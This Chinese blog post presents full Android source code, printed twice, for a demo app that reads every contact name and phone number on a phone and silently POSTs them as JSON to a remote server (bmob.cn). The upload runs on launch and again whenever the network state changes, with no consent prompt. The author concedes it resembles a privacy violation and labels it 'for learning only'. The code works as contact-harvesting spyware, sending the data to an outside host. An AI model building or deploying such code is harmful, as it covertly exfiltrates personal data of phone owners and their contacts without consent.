您的位置:首页 > Web前端 > JavaScript

[小项目] 获取手机联系人并且向服务器发送JSON数据

2016-04-15 00:07 302 查看

[小项目] 获取手机联系人并且向服务器发送JSON数据

好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!

首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;

注:仅供学习使用,不要做违法的事情哟

这个程序我写的有点有条理,首先有几个工具类:

1. 判断是否联网的工具类(NetUtils)

2. 从手机中获取所有联系人的工具类(GetDatasUtils)

3. 往服务器上发送数据的工具类(SendDatasUtils)

4. 将Java实体类转换成JSON字符串

然后一个实体类,用于存储联系人姓名和电话(ContactInfor)

一个MainActivity

一个广播接收者(MyReceiver)

对了,还有一个xml...是没有用的..

由于分类很明确,并且我都写注释了,所以直接上代码

MainActivity

View Code
package com.xdl.redwolf.mycontact;

import android.app.Activity;
import android.os.Bundle;

/**
* @作者 RedWolf
*/
public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//        调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
//        这个请求不会重复利用 So...匿名对象即可
SendDatasUtils.sendDatas(this);

}
}


ContactInfor

View Code
package com.xdl.redwolf.mycontact;

/**
* @作者 RedWolf
*/
public class ContactInfor {
String cName;
String cPhone;

public ContactInfor() {
}

public String getcName() {
return cName;
}

public String getcPhone() {
return cPhone;
}

public void setcName(String cName) {
this.cName = cName;
}

public void setcPhone(String cPhone) {
this.cPhone = cPhone;
}

@Override
public String toString() {
return "ContactInfor{" +
"cName='" + cName + '\'' +
", cPhone='" + cPhone + '\'' +
'}';
}
}


GetDatasUtils


View Code

package com.xdl.redwolf.mycontact; import android.content.ContentResolver; import android.content.Context; import android.database.Cursor; import android.provider.ContactsContract; import java.util.ArrayList; /** * @作者 RedWolf */ public class GetDatasUtils { public static ArrayList getDatas(Context context) { ArrayList<ContactInfor> contactList = new ArrayList<>(); // 获取手机通讯录信息 ContentResolver resolver = context.getContentResolver(); // 获取联系人信息 Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); // 循环遍历,获取每个联系人的姓名和电话号码 while (personCur.moveToNext()) { // 新建联系人对象 ContactInfor cInfor = new ContactInfor(); // 联系人姓名 String cname = ""; // 联系人电话 String cnum = ""; // 联系人id号码  String ID; ID = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts._ID)); // 联系人姓名 cname = personCur.getString(personCur .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); // id的整型数据 int id = Integer.parseInt(ID); if (id > 0) { // 获取指定id号码的电话号码 Cursor c = resolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ID, null, null); // 遍历游标 while (c.moveToNext()) { cnum = c.getString(c .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); } // 将对象加入到集合中  cInfor.setcName(cname); cInfor.setcPhone(cnum); contactList.add(cInfor); } } // 最后 把整理出来的集合 返回出去 return contactList; } }


JSONUtils

package com.xdl.redwolf.mycontact;

import android.util.Log;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;

/**
*@作者 RedWolf
* 由于json解析太麻烦 还是自己写一个比较好...
*/
public class JSONUtils {
/**
* 将集合转换为JSON格式的数据。
*/
public static String getJSON(ArrayList<ContactInfor> cIList) {
try {
JSONArray array = new JSONArray();
JSONObject object = new JSONObject();
int length = cIList.size();
for (int i = 0; i < length; i++) {
ContactInfor mContact = cIList.get(i);
String name = mContact.getcName();
String phone = mContact.getcPhone();
//                把实体类中的数据拿出来 塞入Json对象中..
JSONObject stoneObject = new JSONObject();
stoneObject.put("name", name);
stoneObject.put("phone", phone);
//                JSON加入JSon数组
array.put(stoneObject);
}
//            把整个Json数组 编程Json对象
object.put("mContact", array);
//            最后返回数据
return object.toString();
} catch (JSONException e) {
Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
}
return null;
}
}


MyReceiver

package com.xdl.redwolf.mycontact;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
* @作者 RedWolf
* <p/>
* 咱就写一个广播接受者 反正是一个简单Demo 接收到
*/
public class MyReceiver extends BroadcastReceiver {
SendDatasUtils sdu;

//  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
public MyReceiver() {
}

@Override
public void onReceive(Context context, Intent intent) {
//        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
boolean flag = NetUtils.isNet(context);
Log.i("IsNet", flag + "");
if (flag) {
//            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
//           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
SendDatasUtils.sendDatas(context);
}
}
}


NetUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

/**
* @作者 RedWolf
* 用于判断是否联网
*/
public class NetUtils {

public static boolean isNet(Context context) {
// 获取网络管理器
if (context == null) {
return false;
}
ConnectivityManager mConnectivityManager = (ConnectivityManager) context
.getSystemService(Context.CONNECTIVITY_SERVICE);
// 获取网络状态对象
NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
// 判断是否联网
if (mNetworkInfo == null) {
return false;
}
return mNetworkInfo.isConnected();
}

}


SendDatasUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.util.Log;

import com.android.volley.AuthFailureError;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;

import java.util.HashMap;
import java.util.Map;

/**
* @作者 RedWolf
*/

public class SendDatasUtils {

public static void sendDatas(final Context context) {

//        用Vollery做网络请求..
RequestQueue mQueue = Volley.newRequestQueue(context);
//        匿名子类的形式来重写getParams方法,
StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
new Response.Listener<String>() {
//                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
@Override
public void onResponse(String response) {
//                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
Log.i("RedWolf", "请求成功----------------------");

}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
}
}) {
//            重写getParams方法..就是为了添加一个Post参数..
@Override
protected Map<String, String> getParams() throws AuthFailureError {
Map<String, String> map = new HashMap<>();
//                解析联系人集合并且塞入String中..
String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
map.put("param", datas);
Log.i("RedWolf", datas);
return map;
}
};
//        这样 就发了请求...
mQueue.add(stringRequest);
}
}


最后还有一个清单文件OK

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.xdl.redwolf.mycontact">

<!-- 读取联系人的权限 -->
<uses-permission android:name="android.permission.READ_CONTACTS" />
<!-- 开机启动 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<!-- 网络请求权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<!-- 监听网络状态的权限-->
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver
android:name=".MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<!-- 网络发生变化的广播-->
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<!--默认即可..-->
<category android:name="android.intent.category.default" />

</intent-filter>
</receiver>
</application>

</manifest>


## [小项目] 获取手机联系人并且向服务器发送JSON数据 ##

**好久没有写文档了...最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!**

----------

**首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据...总感觉有侵犯别人隐私权的意味;**

**注:仅供学习使用,不要做违法的事情哟**

----------

**这个程序我写的有点有条理,首先有几个工具类:**

**1. 判断是否联网的工具类(NetUtils)**

**2. 从手机中获取所有联系人的工具类(GetDatasUtils)**

**3. 往服务器上发送数据的工具类(SendDatasUtils)**

**4. 将Java实体类转换成JSON字符串**

----------

**然后一个实体类,用于存储联系人姓名和电话(ContactInfor)**

----------

**一个MainActivity**

**一个广播接收者(MyReceiver)**

**对了,还有一个xml...是没有用的..**

----------

**由于分类很明确,并且我都写注释了,所以直接上代码**

## MainActivity ##

package com.xdl.redwolf.mycontact;

import android.app.Activity;

import android.os.Bundle;

/**

* @作者 RedWolf

*/

public class MainActivity extends Activity {

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

// 调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..

// 这个请求不会重复利用 So...匿名对象即可

SendDatasUtils.sendDatas(this);

}

}

## ContactInfor ##

package com.xdl.redwolf.mycontact;

/**

* @作者 RedWolf

*/

public class ContactInfor {

String cName;

String cPhone;

public ContactInfor() {

}

public String getcName() {

return cName;

}

public String getcPhone() {

return cPhone;

}

public void setcName(String cName) {

this.cName = cName;

}

public void setcPhone(String cPhone) {

this.cPhone = cPhone;

}

@Override

public String toString() {

return "ContactInfor{" +

"cName='" + cName + '\'' +

", cPhone='" + cPhone + '\'' +

'}';

}

}

## GetDatasUtils ##

package com.xdl.redwolf.mycontact;

import android.content.ContentResolver;

import android.content.Context;

import android.database.Cursor;

import android.provider.ContactsContract;

import java.util.ArrayList;

/**

* @作者 RedWolf

*/

public class GetDatasUtils {

public static ArrayList getDatas(Context context) {

ArrayList<ContactInfor> contactList = new ArrayList<>();

// 获取手机通讯录信息

ContentResolver resolver = context.getContentResolver();

// 获取联系人信息

Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null,

null, null, null);

// 循环遍历,获取每个联系人的姓名和电话号码

while (personCur.moveToNext()) {

// 新建联系人对象

ContactInfor cInfor = new ContactInfor();

// 联系人姓名

String cname = "";

// 联系人电话

String cnum = "";

// 联系人id号码

String ID;

ID = personCur.getString(personCur

.getColumnIndex(ContactsContract.Contacts._ID));

// 联系人姓名

cname = personCur.getString(personCur

.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));

// id的整型数据

int id = Integer.parseInt(ID);

if (id > 0) {

// 获取指定id号码的电话号码

Cursor c = resolver.query(

ContactsContract.CommonDataKinds.Phone.CONTENT_URI,

null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID

+ "=" + ID, null, null);

// 遍历游标

while (c.moveToNext()) {

cnum = c.getString(c

.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));

}

// 将对象加入到集合中

cInfor.setcName(cname);

cInfor.setcPhone(cnum);

contactList.add(cInfor);

}

}

// 最后 把整理出来的集合 返回出去

return contactList;

}

}

## JSONUtils ##

package com.xdl.redwolf.mycontact;

import android.util.Log;

import org.json.JSONArray;

import org.json.JSONException;

import org.json.JSONObject;

import java.util.ArrayList;

/**

*@作者 RedWolf

* 由于json解析太麻烦 还是自己写一个比较好...

*/

public class JSONUtils {

/**

* 将集合转换为JSON格式的数据。

*/

public static String getJSON(ArrayList<ContactInfor> cIList) {

try {

JSONArray array = new JSONArray();

JSONObject object = new JSONObject();

int length = cIList.size();

for (int i = 0; i < length; i++) {

ContactInfor mContact = cIList.get(i);

String name = mContact.getcName();

String phone = mContact.getcPhone();

// 把实体类中的数据拿出来 塞入Json对象中..

JSONObject stoneObject = new JSONObject();

stoneObject.put("name", name);

stoneObject.put("phone", phone);

// JSON加入JSon数组

array.put(stoneObject);

}

// 把整个Json数组 编程Json对象

object.put("mContact", array);

// 最后返回数据

return object.toString();

} catch (JSONException e) {

Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());

}

return null;

}

}

## MyReceiver ##

package com.xdl.redwolf.mycontact;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.util.Log;

/**

* @作者 RedWolf

* <p/>

* 咱就写一个广播接受者 反正是一个简单Demo 接收到

*/

public class MyReceiver extends BroadcastReceiver {

SendDatasUtils sdu;

// 由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.

public MyReceiver() {

}

@Override

public void onReceive(Context context, Intent intent) {

// 我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化

boolean flag = NetUtils.isNet(context);

Log.i("IsNet", flag + "");

if (flag) {

// 如果联网了 那么就获取那个啥 并且请求 由于不加静态 所以工具类就变得四不像了..

// 因为这一块 可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用

SendDatasUtils.sendDatas(context);

}

}

}

## NetUtils ##

package com.xdl.redwolf.mycontact;

import android.content.Context;

import android.net.ConnectivityManager;

import android.net.NetworkInfo;

/**

* @作者 RedWolf

* 用于判断是否联网

*/

public class NetUtils {

public static boolean isNet(Context context) {

// 获取网络管理器

if (context == null) {

return false;

}

ConnectivityManager mConnectivityManager = (ConnectivityManager) context

.getSystemService(Context.CONNECTIVITY_SERVICE);

// 获取网络状态对象

NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();

// 判断是否联网

if (mNetworkInfo == null) {

return false;

}

return mNetworkInfo.isConnected();

}

}

## SendDatasUtils ##

package com.xdl.redwolf.mycontact;

import android.content.Context;

import android.util.Log;

import com.android.volley.AuthFailureError;

import com.android.volley.Request;

import com.android.volley.RequestQueue;

import com.android.volley.Response;

import com.android.volley.VolleyError;

import com.android.volley.toolbox.StringRequest;

import com.android.volley.toolbox.Volley;

import java.util.HashMap;

import java.util.Map;

/**

* @作者 RedWolf

*/

public class SendDatasUtils {

public static void sendDatas(final Context context) {

// 用Vollery做网络请求..

RequestQueue mQueue = Volley.newRequestQueue(context);

// 匿名子类的形式来重写getParams方法,

StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",

new Response.Listener<String>() {

// 无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..

@Override

public void onResponse(String response) {

// TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.

Log.i("RedWolf", "请求成功----------------------");

}

},

new Response.ErrorListener() {

@Override

public void onErrorResponse(VolleyError error) {

Log.e("RedWolf", "请求失败??" + error.getMessage(), error);

}

}) {

// 重写getParams方法..就是为了添加一个Post参数..

@Override

protected Map<String, String> getParams() throws AuthFailureError {

Map<String, String> map = new HashMap<>();

// 解析联系人集合并且塞入String中..

String datas = JSONUtils.getJSON(GetDatas.getDatas(context));

map.put("param", datas);

Log.i("RedWolf", datas);

return map;

}

};

// 这样 就发了请求...

mQueue.add(stringRequest);

}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: